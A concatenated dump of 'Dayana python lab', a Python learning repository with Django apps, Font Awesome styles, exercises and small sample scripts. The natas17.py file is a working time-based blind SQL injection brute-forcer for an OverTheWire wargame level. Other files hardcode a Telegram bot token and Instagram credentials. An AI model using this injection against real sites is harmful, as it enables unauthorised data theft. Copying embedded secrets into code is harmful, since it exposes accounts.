lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_stacked.scss: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; } 21 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/tests.py: -------------------------------------------------------------------------------- 1 | from rest_framework.test import APITestCase 2 | from rest_framework import status 3 | from django.urls import reverse 4 | # Create your tests here. 5 | 6 | class testListCreateToDo(APITestCase): 7 | 8 | def testCreateToDo(self): 9 | sample_toDo = {'id': 1, 'Title': 'go to workstation', 'Decription': 'go to workstation at 7am', 10 | 'Date': '2022-10-25', 'compeleted': 'false'} 11 | response = self.client.post(reverse('ListCreateToDo'),sample_toDo) #ListCreateToDo = path name 12 | self.assertEqual(response.status_code, status.HTTP_201_CREATED) 13 | 14 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/font-awesome.less: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables.less"; 7 | @import "mixins.less"; 8 | @import "path.less"; 9 | @import "core.less"; 10 | @import "larger.less"; 11 | @import "fixed-width.less"; 12 | @import "list.less"; 13 | @import "bordered-pulled.less"; 14 | @import "animated.less"; 15 | @import "rotated-flipped.less"; 16 | @import "stacked.less"; 17 | @import "icons.less"; 18 | @import "screen-reader.less"; 19 | -------------------------------------------------------------------------------- /Dayana python lab/0_playground/2_sample_playground/2_hack_&_sec_playground/selenium_sample.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | from webdriver_manager.chrome import ChromeDriverManager 3 | import requests 4 | from selenium import webdriver 5 | 6 | driver = webdriver.chrome(ChromeDriverManager().install()) 7 | 8 | chrome_options = webdriver.ChromeOptions() 9 | chrome_options.add_argument('--headless') 10 | chrome_options.add_argument('--no-sandbox') 11 | chrome_options.add_argument('--disable-dev-shm-usage') 12 | driver.get('https://en.m.wikipedia.org/wiki/Machine_learning') 13 | 14 | links = driver.find_elements_by_tag_name('a') 15 | 16 | for element in links: 17 | print(element.get_attribute('href')) -------------------------------------------------------------------------------- /Dayana python lab/0_playground/0_train_playground/hossein_choopani/QRencoder.py: -------------------------------------------------------------------------------- 1 | #in this code we put some data in a QR code, and then we save that as an image 2 | import qrcode 3 | 4 | link='https://t.me/Dayana_Docs' #our data (here a URL link) 5 | #bulding the QR code. version specify the storage capacity of QR, 6 | #erroe-correction determines how much data can be restored in case of data loss (here is set to Low) 7 | #other parameters are related to shape 8 | qr=qrcode.QRCode(version=1, 9 | error_correction=qrcode.constants.ERROR_CORRECT_L, 10 | box_size=10, 11 | border=1,) 12 | 13 | #now we add data to the QR 14 | qr.add_data(link) 15 | #making the image and saving it 16 | img=qr.make_image() 17 | img.save('Dayana_Docss.png') -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 2 - S.P/lvl_1.py: -------------------------------------------------------------------------------- 1 | # The first stage of the second part 2 | # In this part, you will be given all the necessary things to write the code. At this point, you are just a writer 3 | # socket writing 4 | # One of the important parts of many programs is writing sockets to communicate with external elements 5 | # Use the following library and create a simple socket. Connect it to a site like Google 6 | # Send a simple request to the desired site. And print the answer from the site 7 | # Note: There are endless code examples for this step on the internet 8 | # There is no obstacle to using them. It is important to understand how the code works 9 | #search => "build simple tcp client with python socket library" 10 | 11 | import socket -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 5 - H.B/level4_help_me_to_connect.py: -------------------------------------------------------------------------------- 1 | from instapy import InstaPy 2 | from instapy import smart_run 3 | 4 | user_name = "illegible_debian" 5 | pass_word = "abdalbaliISnothere" 6 | 7 | session = InstaPy(username= user_name, password= pass_word) 8 | 9 | 10 | with smart_run(session= session): 11 | session.set_relationship_bounds(enabled= True, delimit_by_numbers= True, 12 | max_followers=500, min_followers= 50,min_following=50) 13 | 14 | session.set_do_follow(True, percentage=100) 15 | session.set_dont_like(['porn', 'murder', 'fact', 'butt']) 16 | session.set_do_like(['programming', 'AI', 'ml', 'python']) 17 | 18 | session.like_by_tags(['python', 'C#', 'PHP'], amount=15) -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 5 - H.B/level5_finde_element_bug.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | import telebot 4 | from time import sleep 5 | 6 | 7 | API_KEY = "5166554024:AAFH3l_HT8Nl39nLG9_vuU_HGqC4OhBerRU" 8 | bot = telebot.TeleBot(API_KEY) 9 | 10 | @bot.message_handler(commands = ['start']) 11 | def start(message): 12 | while True: 13 | sleep(5) 14 | response = requests.post('https://arzdigital.com/coins/tether/') 15 | html = response.content 16 | usdt_price = BeautifulSoup(html, 'lxml').body.find('div', attrs={'class': 'arz-data__coin-toman-price'}).contents[1].text 17 | price_message = f"||tether price to toman|| \n\n \t {usdt_price}" 18 | bot.send_message(message.chat.id, price_message) 19 | 20 | bot.polling() 21 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/account/models.py: -------------------------------------------------------------------------------- 1 | from django.contrib.auth.models import User 2 | from django.db import models 3 | 4 | # Create your models here. 5 | class Profile(models.Model): 6 | user = models.OneToOneField(User, on_delete=models.CASCADE) # CASECADE : If delete this field,all fields of this model deleted 7 | fathers_name = models.CharField(max_length=25) 8 | melicode = models.CharField(max_length=10) 9 | image = models.ImageField(upload_to='profiles/images', blank=True, null=True) 10 | 11 | def __str__(self): 12 | return self.user.username 13 | # verbose_name : name of model in admin 14 | class Meta: 15 | verbose_name = "حساب کاربری" 16 | verbose_name_plural = "حساب های کاربری" -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/0005_article_slug_article_status.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-08-02 13:31 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('blog_post', '0004_rename_crated_article_created'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='article', 15 | name='slug', 16 | field=models.SlugField(blank=True, unique=True), 17 | ), 18 | migrations.AddField( 19 | model_name='article', 20 | name='status', 21 | field=models.BooleanField(default=True), 22 | ), 23 | ] 24 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/bordered-pulled.less: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em @fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .@{fa-css-prefix}-pull-left { float: left; } 11 | .@{fa-css-prefix}-pull-right { float: right; } 12 | 13 | .@{fa-css-prefix} { 14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .@{fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_bordered-pulled.scss: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em $fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .#{$fa-css-prefix}-pull-left { float: left; } 11 | .#{$fa-css-prefix}-pull-right { float: right; } 12 | 13 | .#{$fa-css-prefix} { 14 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .#{$fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/rotated-flipped.less: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); } 5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); } 6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); } 7 | 8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); } 9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .@{fa-css-prefix}-rotate-90, 15 | :root .@{fa-css-prefix}-rotate-180, 16 | :root .@{fa-css-prefix}-rotate-270, 17 | :root .@{fa-css-prefix}-flip-horizontal, 18 | :root .@{fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/templates/base.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | {% include 'includes/header_refrences.html' %} 7 | 8 | 9 | 10 | 11 | 12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 | 20 | 21 | 22 | {% include 'includes/header.html' %} 23 | 24 | {% block contant %} 25 | 26 | 27 | 28 | {% endblock %} 29 | 30 | 31 | {% include 'includes/footer.html' %} 32 | 33 | {% include 'includes/footer_refrences.html' %} 34 | 35 | 36 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/migrations/0002_article_auther.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.6 on 2022-07-28 14:52 2 | 3 | from django.conf import settings 4 | from django.db import migrations, models 5 | import django.db.models.deletion 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 12 | ('blog_post', '0001_initial'), 13 | ] 14 | 15 | operations = [ 16 | migrations.AddField( 17 | model_name='article', 18 | name='auther', 19 | field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), 20 | preserve_default=False, 21 | ), 22 | ] 23 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | """Run administrative tasks.""" 9 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'blog.settings') 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError as exc: 13 | raise ImportError( 14 | "Couldn't import Django. Are you sure it's installed and " 15 | "available on your PYTHONPATH environment variable? Did you " 16 | "forget to activate a virtual environment?" 17 | ) from exc 18 | execute_from_command_line(sys.argv) 19 | 20 | 21 | if __name__ == '__main__': 22 | main() 23 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | """Run administrative tasks.""" 9 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'toDolist.settings') 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError as exc: 13 | raise ImportError( 14 | "Couldn't import Django. Are you sure it's installed and " 15 | "available on your PYTHONPATH environment variable? Did you " 16 | "forget to activate a virtual environment?" 17 | ) from exc 18 | execute_from_command_line(sys.argv) 19 | 20 | 21 | if __name__ == '__main__': 22 | main() 23 | -------------------------------------------------------------------------------- /Dayana python lab/1_data_lake/1_light_weight_data/b52_dataset.csv: -------------------------------------------------------------------------------- 1 | ,x,y 2 | 1,565,575 3 | 2,25,185 4 | 3,345,750 5 | 4,945,685 6 | 5,845,655 7 | 6,880,660 8 | 7,25,230 9 | 8,525,1000 10 | 9,580,1175 11 | 10,650,1130 12 | 11,1605,620 13 | 12,1220,580 14 | 13,1465,200 15 | 14,1530,5 16 | 15,845,680 17 | 16,725,370 18 | 17,145,665 19 | 18,415,635 20 | 19,510,875 21 | 20,560,365 22 | 21,300,465 23 | 22,520,585 24 | 23,480,415 25 | 24,835,625 26 | 25,975,580 27 | 26,1215,245 28 | 27,1320,315 29 | 28,1250,400 30 | 29,660,180 31 | 30,410,250 32 | 31,420,555 33 | 32,575,665 34 | 33,1150,1160 35 | 34,700,580 36 | 35,685,595 37 | 36,685,610 38 | 37,770,610 39 | 38,795,645 40 | 39,720,635 41 | 40,760,650 42 | 41,475,960 43 | 42,95,260 44 | 43,875,920 45 | 44,700,500 46 | 45,555,815 47 | 46,830,485 48 | 47,1170,65 49 | 48,830,610 50 | 49,605,625 51 | 50,595,360 52 | 51,1340,725 53 | 52,1740,245 54 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_rotated-flipped.scss: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); } 5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); } 6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); } 7 | 8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); } 9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .#{$fa-css-prefix}-rotate-90, 15 | :root .#{$fa-css-prefix}-rotate-180, 16 | :root .#{$fa-css-prefix}-rotate-270, 17 | :root .#{$fa-css-prefix}-flip-horizontal, 18 | :root .#{$fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Dayana-Python-Lab 2 | 3 | ![dayana_org](https://user-images.githubusercontent.com/92685218/191555895-1d41eebc-a157-42b4-a97b-b83e764957f5.jpeg) 4 | 5 | >>>dayana python lab, a place for py lovers, teaching, learning, gaming and have fun 6 | 7 | >>>dayana is an open source organ for learning, building and sharing knoledge, codes, articleas and ... . 8 | 9 | >>>dayana python lab build for many reasons like 10 | 11 | > learning from reading codes 12 | > analyze data and source code 13 | > train students to think better and find more usefull and clear algorithms in programming 14 | > train coding with specific learning methods 15 | > work toghter, learn, be a team and every thing you can imagine about a programming organ 16 | > anyone can join us, and be a part of the family. 17 | just mail to me: 18 | mohammadJavadtabari1024@outlook.com 19 | Dayana_Organization@outlook.com 20 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/1_network/0_blackpy_samples/3_simple_tcp_server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | IP = "0.0.0.0" 5 | PORT = 9998 6 | 7 | def main(): 8 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | server.bind((IP, PORT)) 10 | server.listen(5) 11 | print(f"[*] Listenning on {IP}:{PORT}") 12 | 13 | while True: 14 | cilent, address = server.accept() 15 | print(f'[*] Accepted connection from {address[0]}:{address[1]}') 16 | 17 | cilent_handler = threading.Thread(target=handle_client, args=(cilent,)) 18 | cilent_handler.start() 19 | 20 | 21 | def handle_client(client_socket): 22 | with client_socket as sock: 23 | request = sock.recv(1024) 24 | print(f'[*] Received: {request.decode("utf-8")}') 25 | sock.send(b'ACK') 26 | 27 | if __name__ == '__main__': 28 | main() -------------------------------------------------------------------------------- /Dayana python lab/0_playground/4_relax_self_study_playground/2_moudule_learning/xml_json_reader_methods.py: -------------------------------------------------------------------------------- 1 | # snippet for working with xml 2 | 3 | import xml.etree.ElementTree as ET 4 | 5 | # Pass the path of the xml document 6 | 7 | tree = ET.parse('sample_CustomersOrders.xml') 8 | 9 | # get the parent tag 10 | 11 | root = tree.getroot() 12 | 13 | # print the root (parent) tag along with its memory location 14 | 15 | print(root) 16 | 17 | # print the attributes of the first tag 18 | 19 | print(root[0].attrib) 20 | 21 | ###################### 22 | 23 | # snippet to work with json 24 | import json 25 | 26 | # Opening JSON file 27 | 28 | json_data = open('data.json').read() 29 | 30 | # returns JSON object as 31 | 32 | # a dictionary 33 | 34 | data = json.loads(json_data) 35 | 36 | # Iterating through the json 37 | 38 | # list 39 | 40 | for item in data: 41 | 42 | print (item) -------------------------------------------------------------------------------- /Dayana python lab/5_relax_self_study/1_specific_by_functionality/0_diagrammatic/linear.py: -------------------------------------------------------------------------------- 1 | # ----------------------------------------------------------- simple linear diagram with matplotlib.pyplot 2 | from audioop import lin2alaw 3 | import matplotlib.pyplot as plt 4 | 5 | x = [4,5,6,7,8,9,10,12,13,15] 6 | y = [5,6,7,8,9,10,15,16,7,1] 7 | 8 | plt.plot(x,y) 9 | plt.show() 10 | 11 | # ----------------------------------------------------------- simple linear diagram with matplotlib.pyplot and numpy as data provider 12 | import numpy as np 13 | 14 | x = np.random.randint(low=1, high=15, size=30) 15 | plt.plot(x, linewidth=3) 16 | plt.show() 17 | 18 | # ----------------------------------------------------------- sample of using plot options 19 | x = [7,14,21,28,35,42,49] 20 | y = [8,13,21,30,31,44,50] 21 | # option " o-- " show plot points on chart 22 | plt.plot(x, y, 'o--', linewidth=2) 23 | plt.show() -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/0-toDoList-with-django/mainApp/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 4.0.5 on 2022-12-24 19:44 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | initial = True 9 | 10 | dependencies = [ 11 | ] 12 | 13 | operations = [ 14 | migrations.CreateModel( 15 | name='toDo', 16 | fields=[ 17 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 18 | ('Title', models.CharField(max_length=100)), 19 | ('Description', models.TextField(blank=True)), 20 | ('Date', models.DateField()), 21 | ('Completed', models.BooleanField(default=False)), 22 | ], 23 | ), 24 | ] 25 | -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 5 - H.B/level3_proxy_wont_work_bug.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | from proxybroker import Broker 3 | 4 | 5 | async def save(proxies, filename): 6 | """Save proxies to a file.""" 7 | with open(filename, 'w') as f: 8 | while True: 9 | proxy = await proxies.get() 10 | if proxy is None: 11 | break 12 | proto = 'https' if 'HTTPS' in proxy.types else 'http' 13 | row = '%s://%s:%d\n' % (proto, proxy.host, proxy.port) 14 | f.write(row) 15 | 16 | 17 | def main(): 18 | proxies = asyncio.Queue() 19 | broker = Broker(proxies) 20 | tasks = asyncio.gather(broker.find(types=['HTTP', 'HTTPS'], limit=10), 21 | save(proxies, filename='proxies.txt')) 22 | loop = asyncio.get_event_loop() 23 | loop.run_until_complete(tasks) 24 | 25 | 26 | if __name__ == '__main__': 27 | main() -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/1_network/1_proxy_&_connections/illegible.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | from proxybroker import Broker 3 | 4 | 5 | async def save(proxies, filename): 6 | """Save proxies to a file.""" 7 | with open(filename, 'w') as f: 8 | while True: 9 | proxy = await proxies.get() 10 | if proxy is None: 11 | break 12 | proto = 'https' if 'HTTPS' in proxy.types else 'http' 13 | row = '%s://%s:%d\n' % (proto, proxy.host, proxy.port) 14 | f.write(row) 15 | 16 | 17 | def main(): 18 | proxies = asyncio.Queue() 19 | broker = Broker(proxies) 20 | tasks = asyncio.gather(broker.find(types=['HTTP', 'HTTPS'], limit=10), 21 | save(proxies, filename='proxies.txt')) 22 | loop = asyncio.get_event_loop() 23 | loop.run_until_complete(tasks) 24 | 25 | 26 | if __name__ == '__main__': 27 | main() -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/3_cryptography/2_md5_hash_decoder_from_manual_list/ill_md5_decoder.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | from time import sleep 3 | 4 | flag = 0 5 | counter = 0 6 | 7 | number_hash = input("Enter md5 hash : ") 8 | 9 | # try: 10 | # import codecs 11 | # with codecs.open('hash_list.txt', 'r', encoding='utf-8', 12 | # errors='ignore') as pass_file: 13 | # print("ok") 14 | # except: 15 | # print("No File Found") 16 | # quit() 17 | with open('hash_list.txt', 'r') as f: 18 | for word in f: 19 | a = word 20 | b = a.split() 21 | c = b[2] 22 | e = b[0] 23 | 24 | if c == number_hash: 25 | print("decoded : ") 26 | print(e) 27 | flag = 1 28 | sleep(10) 29 | break 30 | 31 | # passbaba = pass_file 32 | 33 | 34 | # if flag == 0 : 35 | # print("not in data base") 36 | # sleep(5) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/less/path.less: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}'); 7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'), 8 | url('@{fa-font-path}/fontawesome-webfont.woff2?v=@{fa-version}') format('woff2'), 9 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'), 10 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'), 11 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/static/fonts/font-awesome-4.7.0/scss/_path.scss: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}'); 7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'), 8 | url('#{$fa-font-path}/fontawesome-webfont.woff2?v=#{$fa-version}') format('woff2'), 9 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'), 10 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'), 11 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg'); 12 | // src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 13 | font-weight: normal; 14 | font-style: normal; 15 | } 16 | -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/templates/includes/header_refrences.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | 7 | 9 | 10 | {% block title %}{% endblock %} 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /Dayana python lab/2_game/1_hipy_game/part 2 - S.P/lvl_3.py: -------------------------------------------------------------------------------- 1 | # The third stage of the second part 2 | # In this part, you will be given all the necessary things to write the code. At this point, you are just a writer 3 | 4 | 5 | # Expand the code from the previous step as follows 6 | # expansion = develop 7 | 8 | # Get the address of the page from the user. In addition, get a number as a degree or depth 9 | # Re-download the page related to the link according to the number of degrees received for each link on the main page 10 | # Then download all its links and put them in the same file, under the link set of the new page 11 | # The text below is a quasi-code for your better understanding 12 | 13 | # url = input("enter the url: ") 14 | # degree = input("enter the degree: ") 15 | 16 | # page_content = get_page_content_with_url(url) 17 | # urls_of_page = get_page_urls_from_content(page_content) 18 | 19 | # for each url_of_page in urls_of_page: 20 | # save url_of_page in a text file 21 | # if degree is not equal to 0: 22 | # for range 1 to degree: 23 | # go_and_get_linked_page_content and do this until you reach do given degree 24 | # 25 | # Be careful that this is just a pseudo-code for your better understanding 26 | # tips: for cleaner code, please use functions -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog/urls.py: -------------------------------------------------------------------------------- 1 | """blog URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/4.0/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.urls import include, path 14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 15 | """ 16 | # Import path & urls of Apps & media file 17 | from django.conf.urls.static import static 18 | from django.contrib import admin 19 | from django.urls import path,include 20 | from . import settings 21 | urlpatterns = [ 22 | path('admin/', admin.site.urls), 23 | path('', include('home.urls')), 24 | path('', include('account.urls')), 25 | path('articles/', include('blog_post.urls')), 26 | ] 27 | urlpatterns += static(settings.MEDIA_URL,document_root = settings.MEDIA_ROOT) 28 | -------------------------------------------------------------------------------- /Dayana python lab/3_Sample/2_hack_&_sec/0_other/0_natas_games_resovlers/natas17.py: -------------------------------------------------------------------------------- 1 | import socket, time 2 | 3 | HOST = "natas17.natas.labs.overthewire.org" 4 | PORT = 80 5 | HEAD = """POST /index.php HTTP/1.1 6 | Host: natas17.natas.labs.overthewire.org 7 | Authorization: Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw== 8 | Content-Type: application/x-www-form-urlencoded 9 | Content-Length: {clength}\r\n\r\n""" 10 | POST = 'username=natas18" AND IF(BINARY LEFT(password, {glength})="{guess}",SLEEP(10),0);#' 11 | ALPH = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" 12 | 13 | def natas17(p): 14 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | s.connect((HOST, PORT)) 16 | 17 | TPOST = POST.format(glength=len(p), guess=p) 18 | REQU = HEAD.format(clength=len(TPOST)) + TPOST 19 | BYTES = bytes(REQU, 'utf-8') 20 | t1 = int(time.time()) 21 | s.send(BYTES) 22 | r = s.recv(8192) 23 | s.close() 24 | 25 | if (int(time.time()) - t1) > 7: 26 | return True 27 | return False 28 | 29 | p = '' 30 | for i in range(64): 31 | f = False 32 | for c in ALPH: 33 | print(p, c) 34 | if natas17(p + c): 35 | f = True 36 | p = p + c 37 | break 38 | if not f: 39 | break 40 | 41 | print("DONE") 42 | print(p) -------------------------------------------------------------------------------- /Dayana python lab/6-Learn-How-Code/0-dayana-members/1-mr-rokni/1-Blog-with-django/blog_post/forms.py: -------------------------------------------------------------------------------- 1 | from django import forms 2 | from django.core.validators import ValidationError 3 | 4 | from blog_post.models import Massage 5 | 6 | # Create your forms 7 | class ContactUsForm(forms.Form): 8 | name = forms.CharField(max_length=50, label='Your name') 9 | text = forms.CharField(max_length=500, label='Your Massage') 10 | 11 | def clean(self): 12 | name = self.cleaned_data.get('name') 13 | text = self.cleaned_data.get('text') 14 | if name == text: 15 | raise ValidationError('same', code='same') 16 | 17 | 18 | class MassageForm(forms.ModelForm): 19 | class Meta: 20 | model = Massage 21 | fields = '__all__' 22 | widgets = { 23 | 'title': forms.TextInput(attrs={ 24 | 'class': 'form-control', 25 | 'placeholder': 'enter your title', 26 | 'style': 'max-width: 300px;', 27 | }), 28 | 'text': forms.Textarea(attrs={ 29 | 'class': 'form-control', 30 | }) 31 | } 32 | 33 | # or 34 | 35 | # title = forms.CharField(max_length=100) 36 | # text = 